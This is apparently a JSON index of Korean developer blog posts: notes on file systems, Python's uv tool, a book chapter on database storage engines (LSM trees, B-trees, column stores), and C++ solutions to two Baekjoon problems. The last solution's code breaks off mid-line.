[{"content":"파일 데이터의 가장 기본적인 논리 단위\n실제 내용이 담긴 데이터와 파일 이름, 크기, 생성 시간등의 정보를 담은 메타 데이터로 구성된다.\n파일 시스템 운영체제가 저장매체에 파일을 기록하고 읽어오는 방식/규약.\n결국 운영체제와 하드웨어(디스크) 사이를 연결하는 추상화 계층인 것! 예시로는 FAT, NTFS, EXT, UFS, APFS등이 있겠다. 맥미니용으로 외장하드를 초기화할때 APFS로 초기화했던 기억이 있다.\n","date":"2026-04-22T00:00:00Z","permalink":"/posts/dev/260422_dev_%ED%8C%8C%EC%9D%BC-%EC%8B%9C%EC%8A%A4%ED%85%9C/","title":"파일 시스템"},{"content":"📝 상세 정리 가상환경은 왜 필요할까? 위와같은 상황을 방지하자. 버전 안맞는거만큼 화나는게 없다. 그러면, 버전을 하나하나 다 적은 문서를 주면, 괜찮지 않을까? 맞춰서 하나하나 깔면 되잖아! 물론 그래도 된다! 근데 깔아야할 패키지가 수백 수천개라면? 에반거같은데.. 그래서 requirements.txt와 파이썬이 기존에 제공하던 가상환경(venv) 로 다음과 같이 수행할 수 있게 됐다! pip install -r requirements.txt 그러면 모두가 행복해질 수 있을 줄 알았으나.. 같은 프로젝트 내에서 라이브러리 패키지 $A, B, C$가 있다고 해보자. $B$는 $A$의 버전이 2.0 이하임을 요구하고, $C$는 $A$의 버전이 3.0 이상임을 요구할 수 있겠다. 이때 B를 깔고 C를 깔면 pip는 이걸 그대로 덮어버리면서, 나중에 B가 터질것을 예측하지 못한다. 또한 requiremets.txt는 우리가 직접 깐 패키지에만 의존성을 부여하고, 그 패키지가 의존하는 하위 패키지들에는 의존성을 관리하지 않는다. 밑에있는걸 쓰다가 터질 수도 있다!! 이런 문제점들을 해결하기 위해, Poetry가 나왔다. Poetry는 위의 문제들을 모두 해결했다! 여러 패키지간의 의존성이 겹치는 문제를 백트래킹을 이용한 DEPENDENCY RESOLVER로 미리미리 잡아주고 하위 패키지들에도 버전을 관리해서 poetry.lock으로 작성해두고 venv, requriements.txt, setup.py 등 여러가지로 관리되던 설정 파일들도 통합했다. 그런데\u0026hellip; 한번에 모든 기능을 넣은 탓에 너무 느려져버렸다 사실 파이썬 버전 자체도 관리하지 못해서 pyenv같은것도 따로 써야했다. 이런 상황에 2024년, uv가 등장했다. 사실 이 이후로는 위에꺼 아무것도 모르고, 그냥 uv 하나만 알아도 된다. uv가 왜 그렇게 좋냐? 일단 개빠르다. 대 u v Rust로 작성된 툴이라서, pip보다 10~100배, poetry보다도 훨씬 빠르다 파이썬 버전을 포함해서 관리가 매우매우 쉽다. poetry의 장점을 모두 담은것은 물론, pyenv로 진행하던 버전 관리또한 받아준다. pyenv, pip, poetry, venv 아무것도 필요 없어진것이다! uv python install 3.12 로 파이썬을 깔고 uv lock으로 의존성을 고정하고 uv run으로 가상환경 직접 활성화 없이 일회성으로 실행하고 모든 기능이 추가되었다. 심지어 파이썬 3.12~13쯤부터, pip install을 하려고하면 다음과 같은 오류 메세지를 본 사람이 분명 있을 것이다. error: externally-managed-environment 이는 시스템 전역에 파이썬 패키지를 설치할 수 없다는 오류이다. 사실 뭐 break-system같은걸 해서 어거지로 설치할 수야 있다만.. 잘 되던걸 막은 이유가 분명 있지 않을까? 아무튼 이제 공식적으로 가상환경 격리를 권장하는 시대가 됐다. 이상황에 pip로 venv까지 하나하나 관리하고싶나? uv로 든든~하게 이주하고말지. 헐, 근데 저는 microsoft/markitdown 처럼 전역으로 쓰고싶은 파이썬 패키지 (글로벌 도구)가 있는데요? 이건 어쩔수없이 pipx를 써야하지 않을까요? 하지만 개깡패 uv는 이것조차 다 잡으러 왔다. uv tool 을 이용해 설치하면, 격리도 해주면서, 알아서 관리하면서, 사용할때는 뇌빼고 쓸 수 있게 uv를 안붙여도 바로바로 실행까지 된다. 심지어 깔기도 싫고 일회용으로 쓰고싶으면 uv tool run로도 된다는거 같다. 걍 대uv이다. 말이 안됨. 숭배를 햇 🛠️ 사용법 위까지 쓰니까 힘이 빠져서 지금은 쓰기 귀찮다. 며칠 뒤에 보면 작성되어있지 않을까? 🔗 참고 자료 https://python-poetry.org/ https://docs.astral.sh/uv/ 설마 자외선 이름 맞춰서 사이트 보라색인건가? 개밤티다. 내 블로그가 더 밤티라는 나쁜말은 ㄴ.ㄴ ","date":"2026-04-17T00:00:00Z","permalink":"/posts/dev/260417_dev_uv%EB%A1%9C-%ED%8C%8C%EC%9D%B4%EC%8D%AC-%EC%9D%98%EC%A1%B4%EC%84%B1-%EA%B4%80%EB%A6%AC%ED%95%98%EA%B8%B0/","title":"uv로 파이썬 관리하기"},{"content":"📝 상세 정리 인트로 가장 기본적인 수준에서 데이터베이스는 두가지 작업을 수행한다 데이터 저장하기 데이터 제공하기 이번 장에서는 데이터베이스가 데이터를 저장하는 방법과 데이터를 찾는 방법을 설명하겠다. 이걸 왜 알아야 할까? 저장소 엔진을 직접 구현하는게 아니라 선택하니까, 대략적으로는 알고 고르자. RDB, NoSQL에 대해서 우선 할건데 로그 구조 계열 저장소 엔진 페이지 지향 계열 저장소 엔진 을 검토할것 데이터베이스를 강력하게 만드는 자료구조 걍 배시로 db_set(){ echo \u0026#34;$1, $2\u0026#34; \u0026gt;\u0026gt; database } db_get () { grep \u0026#34;^$1, \u0026#34; database | sed -e \u0026#34;s/^$1, //\u0026#34; | tail -n 1 } 이라는 db를 만들면, 쓰기는 매우매우 빠르다. 겹쳐도 걍 뒤에 써버리고, -tail로 하나만 가져오니까. 로깅도 비슷한 느낌인걸 잘 알지 않나? 이런 append-only 데이터 파일을 로그(log) 라고 한다. 로그는 사람이 읽을 수 있는 형식일 필요도 없다. 암튼 db_set은 빠른데, db_get은 O(N)으로 개느리다. 그래서 다른 데이터 구조가 필요한데.. 색인 에 대해서 알아보겠다. 다양한 색인 구조를 살펴보고 여러 색인 구조를 비교해보자. 색인의 일반적인 개념은 어떤 부가적인 메타데이터를 유지하는 것이다. 이는 이정표 역할을 해서, 원하는 데이터의 위치를 찾는데 도움을 준다. 색인은 기본 데이터 (primary data)에서 파생된 추가적인 구조이다. 많은 DB는 색인의 추가/삭제를 허용하고 이는 내용에 영향을 미치지 않는다. 추가적인 구조의 유지보수는 오버헤드를 발생시킨다. 보통 쓰기속도를 느리게 만든다. 이것이 저장소시스템에서 중요한 트레이드오프이다. 해시 색인 key-value 데이터를 색인해보자.\n보통 dictionary type 같은거니까, hash map / hash table 등으로 구현한다.\n암튼 키를 데이터 파일의 바이트 오프셋(값을 바로 찾을 수 있는 위치)에 매핑해서 인메모리 해시 맵을 유지하는 전략이다.\n단순하지만, 많이 사용한다고한다.\n대표적으로 Bitcask (Riak의 기본 저장소 엔진)이 사용한다. 전부 메모리에 저장되면 고성능 읽기/쓰기를 보장한다.\n이는 각 키 값이 자주 갱신되는 상황에 매우 적합하다.\n키당 쓰기 수가 많지만 고유키가 적어서 메모리에 키 보관이 가능한 경우 하지만 이를 추가만 계속 하면 디스크 공간이 부족해질텐데\u0026hellip;\n이를 위해 특정 크기의 세그먼트로 로그를 나눌 수 있겠다. 그리고 그 중간과정에 대해 한번씩 정리/압축을 할 수 있겠다. (최신값만 남기기) 압축을 컴팩션이라 하자. 이를 실제로 구현하려면 고려해야할게 많다.\n파일 형식, 레코드 삭제, 고장 복구, 부분레코드 쓰기, 동시성 제어 등 추가 전용 로그는 공간 낭비지 않을까? 어차피 금방 찾으면 직접 가서 덮어쓰면 안되나?\n추가와 세그먼트 병합이 훨씬 빠르다 (순차적인 작업이기 때문) 특히 하드디스크에서!! 자기회전방식이니까. DB 죽으면 어케 고칠건데! 조각화되는 데이터파일 문제도 해결 가능 (조각모음) 제한사항도 물론 있다.\n키가 너무 많으면 안된다. 범위 질의는 사실상 응답이 불가능하다. SS테이블과 LSM 트리 세그먼트 파일의 형식에 간단한 변경사항 한가지만 적용해보자. 일련의 키-값 쌍을 키로 정렬하기 이 형식을 정렬된 문자열 테이블 (Sorted String Table), 즉 SS테이블 이라고 한다. 이는 해시 색인 로그 세그먼트보다 몇가지 큰 장점이 있는데 파일이 사용가능한 메모리보다 크더라도 간단하고 효율적임 머지소트하듯이 가져오면 금방 병합된다 모든 키의 색인을 유지할 필요가 없다 해당 키를 포함하는 범위를 찾아가서 안에서 선형탐색을 해도 된다 디스크 공간 절약, I/O 대역속 사용 절감 위의 아이디어로 블록을 그룹화해서 저장할 수도 있겠다. sparse index의 아이디어 SS테이블 생성과 유지 근데 데이터를 키로 정렬하기에는.. 유입되는 쓰기는 임의 순서로 발생한다. 어떻게 할까? 이를 위해 레드블랙트리나 AVL같은 자료구조를 사용하겠다. 임의 순서로 키를 삽입하고 정렬된 순서로 키를 다시 읽을 수 있다. 이걸 이용해서 저장소 엔진을 다음과 같이 만들자. 쓰기가 들어오면 해당 자료구조(RB트리 / AVL트리 등)에 추가한다. 저 트리를 멤테이블이라고도 한다. 멤테이블이 특정 임곗값보다 커지면 SS테이블 파일로 디스크에 기록한다. 읽기요청이 들어오면 멤테이블 -\u0026gt; 최신 세그먼트 -\u0026gt; 다음 세그먼트\u0026hellip;에서 찾는다. 가끔 세그먼트 파일을 병합, 컴팩션하는 과정을 수행한다. 이론상 완벽한데, 한가지 문제가 있다. DB가 고장났다면?? 그래서 멤테이블에있는 최신 쓰기가 날라간다면? 이를 방지하기 위해선 분리된 로그를 디스크에 유지해야한다. SS테이블에 기록할때 버리면 되니까! SS테이블에서 LSM 트리 만들기 위의 알고리즘은 LevelDB, RocksDB, KV엔진 라이브러리 등에서 사용한다. 카산드라랑 HBase에서도 유사한걸 이용한다! 이 색인 구조는 Log-Structured Merge-Tree, LSM트리라는 이름으로 발표되었다. 이를 기반으로 한 엔진을 LSM 저장소 엔진이라고 한다. 성능 최적화 LSM트리는 DB에 존재하지 않는 키를 찾을 경우 느릴 수 있다. 멤테이블부터 가장 오래전 세그먼트까지 거슬러 올라가야하므로.. 그래서 우리는 블룸 필터 를 추가적으로 사용한다. 또한 SS테이블을 병합/컴팩션할 순서와 시기를 결정하는 전략도 중요하다 크기 계층 컴팩션 좀더 작고 새로운 SS테이블을 크고 오래된 테이블에 병합 레벨 컴팩션 키 범위를 더 작은 SS테입블로 나누고 오래된 데이터는 개별 레벨로 이동 대표적으로 위 두개가 있고, LevelDB랑 RocksDB는 레벨 컴팩션을 이용한다. HBase는 크기계층 컴팩션, 카산드라는 둘다. B 트리 사실 가장 널리 사용되는 색인구조는 B 트리 이다. 1970년에 등장해서 보편적인 색인구조가 됨 RDBMS의 표준 색인 구현이며, 많은 비관계형 DB에서도 사용 SS테이블과 같이 키로 정렬돤 KV쌍을 갖지만, 설계 철학이 매우 다름 로그 구조화 색인은 DB를 수 메가바이트 이상의 가변 크기를 가진 세그먼트로 나누고, 항상 세그먼트를 기록한다. 하지만 B트리는 4KB의 고정 크기 블록이나 페이지로 나누고, 한번에 하나의 페이지에 읽기/쓰기 작업을 수행한다. 각 페이지는 주소나 위치를 통해 식별할 수 있다. (디스크 위의 포인터 느낌) 이를 이용해서 페이지 트리를 구성할 수 있다. 한 페이지는 B 트리의 루트로 지정되고, 색인에서 키를 찾을때 루트에서 하위 페이지로 계속해서 내려간다. 최종적으로 개별 페이지 / 리프 페이지에 도달하게 된다. B트리에서 한 페이지에서 하위페이지를 참조하는 수를 분기 계수 (Branching Factor) 라고 한다. 자식노드의 개수라고 생각하면 되는듯? B트리에서 갱신작업을 위해선 리프 페이지를 검색하고 페이지의 값을 바꾼 후 디스크에 다시 기록하는 과정을 거친다. 새로운 키를 넣을 여유공간이 없다면 페이지 하나를 두개로 쪼개고, 상위 페이지에서 잘 연결해준다. 대부분의 DB는 B트리의 깊이가 3~4만 되어도 충분하다. 분기계수 500의 4KB, 4단계 트리는 256TB까지 저장 가능하다. 신뢰할 수 있는 B트리 만들기 B트리는 기본적으로 쓰기 작업때 덮어쓰기를 수행한다. 그런데, 페이지를 분할하고 기록하는 타이밍에 DB가 고장난다면? 고아 페이지 (orphan page)가 생겨나게 된다. 이를 방지하기 위해선 쓰기 전 로그 (write-ahead log, WAL, redo log, 재실행 로그) 라고 하는 데이터구조를 추가한다. 이는 트리 페이지에 변경된 내용을 적용하기 전에 변경사항을 기록하는 추가 전용 파일이다. 다중스레드가 동시에 B트리에 접근하려고 해도 문제다. 스레드가 일관성이 깨진 트리에 접근할 수 있기 때문 따라서 이때 래치(latch, 가벼운 잠금, lock) 으로 트리의 데이터 구조를 보호한다. B 트리 최적화 WAL대신 쓰기시 복사방식 쓰기 키를 축약해서 쓰기 리프 페이지를 연속된 공간에 쓰기 트리에 포인터 추가 프랙탈 트리와 같은 변형 등 B 트리와 LSM 트리 비교 B트리가 LSM트리보다 구현 성숙도가 높지만, LSM트리도 관심을 받는중 대개 경험적으로 LSM이 쓰기에서 더 빠르고, B트리가 읽기에서 더 빠르다! 읽기에서 LSM이 느린 이유는 각 컴팩션 단계의 데이터구조와 SS테이블을 모두 확인해야해서 LSM 트리의 장점 B트리 색인은 모든 데이터 조각을 최소한 두번 기록해야 함 쓰기 전 로그 / 트리페이지 심지어 몇바이트만 바꾸더라도 페이지 하나를 통째로 기록해야함 로그 구조화 색인또한 SS테이블을 병합/컴팩션할때 여러번 쓰는데.. 이런식으로 DB 쓰기 한번이 DB 수명동안 여러번 쓰기를 진행하게 하는걸 쓰기 증폭(write amplification) 이라고 한다. 쓰기가 많다면, 병목은 쓰기에서 있을 수 있다. LSM트리는 B트리보다 쓰기 처리량을 높게 유지할 수 있다. LSM트리는 압축률이 더 좋다. LSM 트리의 단점 하지만 컴팩션 과정이 진행중인 읽기/쓰기의 성능에 영향을 줄 수 있다. 그래서 이걸 기다리는동안 요청이 대기해야할 수도 반면에 B트리는 이보다 상황을 예측하기가 쉽다. 절대적으로 써야할 양이 많다. 디스크의 쓰기 대역폭은 유한하지만, 로깅 테이블과 멤테이블, 컴팩션 스레드가 이 대역폭을 공유해야 한다. 컴팩션 설정을 주의깊게 하지 않으면 컴팩션이 유입 쓰기 속도를 따라갈 수가 없다 B트리는 각 키가 색인의 한곳에만 정확하게 존재하지만, LSM트리는 여러 세그먼트에 있을 수 있다. 기타 색인 구조 지금까지는 KV색인을 봤다. 관계형 모델의 기본 키 (primary key) 색인이 대표적인 KV색인이다. 보조 색인에서도 쓸 수 있다. 이때 키가 고유하지 않을 수 있다는 문제가 있을 수 있는데, 이는 두가지 방법으로 해결 가능함. 색인의 각 값에 일치하는 로우 식별자 목록 만들기 로우 식별자 추가 B트리 / 로그구조화색인 둘다 사용 가능 색인 안에 값 저장하기 색인에서, value가 될 수 있는건 raw 자체거나 다른곳의 raw를 가리키는 참조다. 후자의 경우, raw가 저장된 곳을 heap file 이라고 한다. 색인 -\u0026gt; 힙이 읽기 성능에 불이익이 커서, 색인 안에 바로 색인된 raw를 저장하기도 한다. 이를 클러스터드 색인 (clustered index)이라고 한다. 클러스터드 색인과 비클러스터드 사이의 절충안으로 커버링 색인, 혹은 포괄열이 있는 색인 등이 있다. 다중 컬럼 색인 지금까지의 모든 색인들은 하나의 키값에만 대응해서, 다중컬럼에 대응하기 어렵다. 일반적으론 결합 색인 (concantenated index) 으로 처리할 수 있겠다. 이는 하나의 컬럼에 다른 컬럼을 추가하는 방식으로 하나의 키에 여러 필드를 단순 결합시킨다. (성, 이름) 과 같이 묶어서 저장했따면, 성을 기준으로 정렬된 값 찾기, 특정 (성, 이름) 조합 찾기에는 좋지만 특정 이름을 가진 사람을 찾기는 어렵다. 다차원 색인은 조금 더 일반적인 방식이다. 지리공간 데이터 / 위경도에서 많이 쓸텐데 (2차원 범위 쿼리) 이건 지금까지의 B트리/LSM트리로는 어렵다! 한가지 방법은 2차원 위치를 공간-채움-곡선(space-filling curve)로 단일 숫자로 변환해서 B트리 이용하기 다른 방법은 R트리같은 전문 공간 색인 (specialized spatial index) 사용하기 이다. 물론 위의 2차원 방법들이 3차원으로 확장되어 색상 (RGB)등으로도 쓸 수 있겠다. 전문 검색과 퍼지 색인 이제 철자가 틀린 단어와 같이 유사한 키에 대해서도 잘 검색이 되면 좋겠다! 이런 애매모호한(fuzzy) 질의는 어떻게 처리할까? 전문 검색엔진은 해당 단어의 동의어로 질의를 확장하는 방식으로 루씬은 편집거리를 활용해서 추가적으로 인메모리 색인으로 트라이와 유산한 레벤슈타인 오토마톤으로 진행한다. 모든 것을 메모리에 보관 지금까지의 데이터구조는 모두 디스크 한계에 대한 해결책이었다 디스크는 읽기/쓰기를 신경써야하지만.. 램이 꽤 싸지고있지 않는가? 사실 이 공부를 하고 있는 시점 (26/4)에서 램은 진짜 개비싸졌다. 아무튼 저때는 쌌으니까, 인메모리 데이터베이스가 개발됐다. 하지만 램은 장비가 재시작되면 데이터가 날라가므로, 보통 이를 허용하는 캐시 용도로만 사용된다. 하지만 이를 지속적으로 사용하기 위한 인메모리 DB도 있는데, 이는 배터리 전원 공급 RAM과 같은 특수 하드웨어를 사용하거나 디스크에 변경사항의 로그를 기록하거나 디스크에 주기적인 스냅숏을 기록하거나 다른 장비에 인메모리 상태를 복제하거나 한다. 관계형 모델의 인메모리 데이터베이스에는 VoltDB, MemSQL, Oracle TimesTen과 같은것들이 있다. 의외로 인메모리 DB의 장점은 디스크 IO바운드에서 오지 않는다. 데이터 구조 자유도 때문! PQ, set 등도 맘껏 쓸 수 있으니 언젠가 비휘발성 메모리 (NVM)이 상용화되면 더 발전하지 않을까! 트랜잭션 처리나 분석? 초창기에 비즈니스 데이터 처리는 상거래(커머셜 트랜잭션)이 대부분이어서 다 트랜잭션이라 불렀는데, 그냥 지금도 논리 단위 형태로의 읽기와 쓰기 그룹을 트랜잭션이라고 한다. OLTP (Online Transaction Processing) 기본적인 비즈니스 트랜잭션 처리와 유사하게 댓글 / 액션 / 연락처 등, 일부 키에 대한 적은 레코드를 가지고 사용자 입력을 기반으로 삽입되거나 갱신되는 접근패턴 OLAP (Online Analytic Processing) 하지만 요새는 데이터분석에도 DB를 사용하기 시작함 원시 데이터를 반환하는 대신, 많은 레코드를 스캔해 일부 칼럼만 읽어 집계 통계를 계산 1990년 전후로 회사들은 OLTP 시스템을 분석 목적으로 사용하지 않고, 개별 데이터베이스를 파기 시작했다. 이를 데이터 웨어하우스라고 부른다. 데이터 웨어하우징 OLTP 시스템은 높은 가용성과 낮은 지연시간을 최우선으로 하는데, 분석 쿼리는 비싼 연산이라서 성능을 저하시킬 우려가 컸다. 그래서 개별 데이터베이스를 만들어서, 분석가들이 마음껏 쿼리를 날릴 수 있도록 했다. 이 과정은 Extract -\u0026gt; Transform -\u0026gt; Load의 과정으로 이루어진다. OLTP DB와 데이터 웨어하우스의 차이점 SQL은 분석 질의에 적합하기에 데이터 웨어하우스는 보통 관계형 모델을 이용한다. 하지만 OLTP와 데이터 웨어하우스는 각자 다른 질의 패턴에 맞게 최적화되었기 때문에, 시스템의 내부는 완전히 다르다. 분석용 스키마: 별 모양 스키마와 눈꽃송이 모양 스키마 데이터 분석에서는 트랜잭션 처리에서와 달리 데이터 모델의 다양성이 훨씬 적다. 많은 DW들은 별모양 스키마(star schema / dimensional modeling) 라고 알려진 방식을 주로 사용한다. 이는 사실 테이블을 가운데 두고, 주변에 차원 테이블을 두는 구조이다. 변형으로는 눈꽃송이 스키마가 있다. 별모양 스키마를 더 정규화해서 차원이 하위 차원으로 세분화되는 모양이다. 칼럼 지향 저장소 테이블에 데이터가 너무 많다면, 효율적으로 저장하고 질의하기 어렵다. 그런데, 테이블에 칼럼은 보통 100개 이상이지만 일반적으로 DW 쿼리는 한번에 4~5개 컬럼만 접근한다. 대부분의 OLTP DB는 로우 지향으로 데이터를 배치한다. 대신, 모든 값을 하나의 로우에 함께 저장하지 않는 대신 각 칼럼별로 개별 파일에 저장하는 방식을 이용할 수 있겠다. 이는 각 칼럼 파일에 포함된 로우가 모두 같은 순서임에 의존한다. 칼럼 압축 다행히 칼럼 지향 저장소는 압축에 적합하다. 여러 압축 기법이 있겠지만. 대표적으로 비트맵 부호화를 보자. 칼럼에서 고유 값의 수는 보통 로우 수에 비해 적으므로, 상당히 sparse하겠다. 따라서 고유값에 대해 1과 0의 비트로 생각하고 압축하면 잘 압축되겠다! 메모리 대역폭과 벡터화 처리 분석용 DB 개발자는 디스크\u0026lt;-\u0026gt;메모리 병목 뿐만 아니라 CPU \u0026lt;-\u0026gt; 메모리 병목, 아키텍쳐 최적화 등까지도 신경써야한다. CPU 주기, 캐시등에도 신경쓰고, and와 or과 같은 경우 압축된 컬럼 자체에 연산할 수 있게 설계할 수 있다. 이를 벡터화 처리라고 한다. 칼럼 지향 저장소에 쓰기 칼럼 지향 저장소, 압축 ,정렬은 모두 읽기를 더 빠르게 하지만 쓰기를 어렵게 한다는 단점이 있다. 이는 LSM트리에서 한 것과 같이 인메모리 저장소와 병합 파일들을 두는 방식으로 최적화 할 수 있겠다. 정리 고수준에서 저장소 엔진은 OLTP와 OLAP 두개로 나뉜다. OLTP 측면에서 두가지 관점을 확인했다. 로그 구조화 관점 제자리 갱신 관점 이번 장에서 선택한 데이터 베이스의 문서를 이해할 수 있는 충분한 어휘와 개념을 갖추었으면 됐다. ❔질문 사항 ❓ 크기압축/레벨압축이 Disjoint Union Set의 그거같은데, 같은 원리인게 맞나? 시간복잡도도 그에 맞춰질라나? 병합시간을 $O(N)$이라고 하면, Union하는데 $O(NlogN), O(N\\alpha{(N)})$ 인건가? 뭐 대충 아이디어는 맞는데.. 시간복잡도는 그렇게 분석하면 안된댄다.\n❓ 질문 LSM 트리에서 컴팩션이 유입 쓰기 속도를 따라가지 못하면 어떤 일이 순서대로 발생하는가? 읽기, 쓰기, 디스크 사용량 각각에 미치는 영향과, 최종적으로 DB가 취하는 조치는? 세그먼트가 쌓이면서 읽기 시 확인해야 할 세그먼트 수가 증가해 읽기 성능 저하. 정리되지 않은 세그먼트로 디스크 사용량 급증. 쓰기는 계속 들어오지만 컴팩션이 못 따라오면 결국 DB가 쓰기를 throttle하거나 완전히 stall시킴.\n❓ 질문 SSTable 기반 저장소에서 존재하지 않는 키를 조회할 때 왜 느린가? 실제 시스템은 이를 어떻게 완화하는가? 멤테이블부터 가장 오래된 세그먼트까지 전부 탐색해야 \u0026ldquo;없다\u0026quot;는 걸 확인할 수 있기 때문. Bloom filter로 완화 — 각 세그먼트마다 유지하며 해당 키가 없음을 확률적으로 빠르게 판별, false negative가 없으므로 \u0026ldquo;없다\u0026quot;고 나오면 해당 세그먼트를 스킵.\n❓ 보조 색인이 뭐지? 기본 키가 아니라 다른 컬럼으로 검색할경우 SELECT * FROM user WHERE age = 30 위와 같은경우에 age에 색인이 없으면 전체 스캔을 한다. 이런걸 방지하기 위해 age 컬럼에도 빠르게 검색하기 위한 추가 자료구조, 즉 색인을 만들어두는걸 보조 색인을 만들어둔다고 한다.\n❓ 명색이 도시공학과인데 R트리가 궁금하다! 지리데이터 조아 R트리는 공간을 재귀적으로 bounding rectangle(최소 경계 사각형)으로 감싸는 트리이다. 최소경계 사각형끼리는 겹칠 수 있고, 상위 사각형은 하위 사각형을 포함한다. -\u0026gt; 아니 근데 그러면 이걸 2차원 세그먼트 트리처럼 관리하면 되는거 아닌가?\n맞긴 하다. 그 아이디어가 k-d트리랑 이어진다. 그런데 페이지 크기에 맞추기, 동적 삽입/삭제, 디스크페이지단위 IO에는 R트리가 더 친화적일 수도 있다. ❓ 예전에 ANN을 약간 공부한 적이 있었는데, 혹시 여기랑 연결될 수 있는 개념이지 않을까? 연결된다. 정확히는 R트리는 정확한 범위 내 검색, ANN은 가장 가까운 k개 찾기. 고차원에서는 R트리가 차원의 저주로 망가져서, 이를 해결하고자 ANN이 다른 접근을 쓰는 느낌.\n🔗 참고 자료 ","date":"2026-04-09T00:00:00Z","permalink":"/posts/books/ddia/260409_til_%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%A4%91%EC%8B%AC-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EC%84%A4%EA%B3%84-03-%EC%A0%80%EC%9E%A5%EC%86%8C%EC%99%80-%EA%B2%80%EC%83%89/","title":"03 저장소와 검색"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/24535 🧐 관찰 및 접근 점이 500개가 주어진다. 적당한 사각형 하나를 잡아서, 사각형 위에 점이 최대로 올라가게 하자. 흠, 일단 좌표압축하면 x, y좌표 각각 500개로 줄일 수 있겠다. 나이브하게 돌리면? 대충 $O(N^4)$가 되는거같은데\u0026hellip; 2초에 $N = 500$이니까, 세제곱까지만 줄여도 어떻게 될거같긴 하다. 변 하나를 결정하는 경우의수가 $O(N^3)$개 인거같고, 그때 나머지 변 세개 최댓값을 잘 하면 되는데.. 이것도 아래서부터 잘 긁으면서 올라오면 될거같은데? 아니 50퍼에서 틀린다고?? 머지 아하 세로 한줄로 오는거 약간 걱정했었는데 역시 오류가 있었다. 이것만 고치면 되네 가로는 잘 처리 되더라 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;pii\u0026gt; points(N); vector\u0026lt;int\u0026gt; xs, ys; rep(i, 0, N){ int x, y; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y; points[i] = {x, y}; xs.push_back(x); ys.push_back(y); } sort(all(xs)); xs.erase(unique(all(xs)), xs.end()); sort(all(ys)); ys.erase(unique(all(ys)), ys.end()); rep(i, 0, N){ points[i].first = lower_bound(all(xs), points[i].first) - xs.begin(); points[i].second = lower_bound(all(ys), points[i].second) - ys.begin(); } vector\u0026lt;vector\u0026lt;bool\u0026gt;\u0026gt; isPoint(xs.size(), vector\u0026lt;bool\u0026gt;(ys.size())); for(auto [x, y] : points) isPoint[x][y] = true; int ans = 0; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; DP(ys.size(), vector\u0026lt;int\u0026gt;(ys.size())); rrep(i, 0, xs.size()){ vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; cur_cnt(ys.size(), vector\u0026lt;int\u0026gt;(ys.size())); // cur_cnt[j][k] = j, k 사이에 있는 점의 개수 rep(j, 0, ys.size()){ if(isPoint[i][j]) cur_cnt[j][j]++; rep(k, j+1, ys.size()) cur_cnt[j][k] = cur_cnt[j][k-1] + isPoint[i][k]; } rep(j, 0, ys.size()) rep(k, j+1, ys.size()){ ans = max(ans, cur_cnt[j][k] + DP[j][k]); DP[j][k] = max(DP[j][k] + isPoint[i][j] + isPoint[i][k], cur_cnt[j][k]); } } // 세로 한줄 처리 rep(i, 0, ys.size()){ int cnt = 0; rep(j, 0, xs.size()) if(isPoint[j][i]) cnt++; ans = max(ans, cnt); } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-04-09T00:00:00Z","permalink":"/posts/algorithm/ps/260409_algorithm_boj-24535-%EB%91%98%EB%A0%88%EA%B8%B8/","title":"BOJ 24535 둘레길"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/32527 🧐 관찰 및 접근 $(0, 0) \\rightarrow (X, Y)$ 로 이동해야한다. 과정을 최소화할 필요는 없는데, 4000번 안쪽으로 가야한다. 일단 음.. 다음과 같은 연산들을 추가로 정의할 수 있겠다. $a$개의 $R$을 사용해서 $x$ 좌표를 $2^a - 1$ 만큼 증가시킨다. $b$개의 $U$을 사용해서 $y$ 좌표를 $2^b - 1$ 만큼 증가시킨다. 한 연산을 반복해서 사용할 수는 없다. 위 연산을 아래에서는 각각 $A, B$ 연산이라고 하겠다. 예제 1번인 $(8, 3)$은 $(7+1, 3)$로 변환하면 된다는걸 알 수 있다. 관찰을 조금 더 해야할 것 같다. $A, B$ 연산의 횟수는 최대 1회 차이날 수 있다. 번갈아가며 사용해야하므로 $A ,B$ 연산의 결과는 언제나 홀수이다. 연산은 $a, b = 1$이 아닌 이상 3개로 쪼갤 수 있다. 연산에 2개를 더하는건 쉽게 할 수 있다는 뜻 이건 직관인데, 그리디하게 가장 큰 연산을 가져가는게 될 수도 있지 않을까 싶다. 21 = 15 + 3 + 3 = 7 + 7 + 7 43 = 31 + 7 + 3 + 1 + 1 = 15 + 15 + 7 + 3 + 3 음.. 되는거같은데 흠 이걸 어떻게 증명할 수 있지? 뭔가 위에서 3개로 쪼개진다고 했듯이 31 = 15 + 15 + 1인데, 31을 안쓰면 15를 두번쓰는건 사실상 확정이고, 이때 뒤에있는 1을 훔쳐와서 두개를 줄이고 / 뒤에 1을 훔쳐오게되면서 2개가 늘어나면 또이또이고, 만약에 뒤에 1이 남아있었다면 하나 줄고 같은 느낌으로 그리디가 증명 될 것 같다. 믿고 짜볼까? 귀찮으니 PQ로 관리하자. ㅋㅋㅋㅋ X, Y에 대해 같은 로직인데 함수화하기 귀찮아서 그대로 박았더니 코드가 더럽다\u0026hellip; 💻 풀이 코드 (C++): void solve(){ vector\u0026lt;ll\u0026gt; int_to_op; int_to_op.push_back(0); while(int_to_op.back() \u0026lt; 1e18) int_to_op.push_back(int_to_op.back()*2 + 1); map\u0026lt;ll, int\u0026gt; op_to_int; rep(i, 0, int_to_op.size()) op_to_int[int_to_op[i]] = i; ll X, Y; cin \u0026gt;\u0026gt; X \u0026gt;\u0026gt; Y; priority_queue\u0026lt;ll\u0026gt; Xpq, Ypq; while(X){ int ok = 0, ng = int_to_op.size(); while(ng - ok \u0026gt; 1){ int mid = (ok + ng) \u0026gt;\u0026gt; 1; if(int_to_op[mid] \u0026lt;= X) ok = mid; else ng = mid; } Xpq.push(ok); X -= int_to_op[ok]; } while(Y){ int ok = 0, ng = int_to_op.size(); while(ng - ok 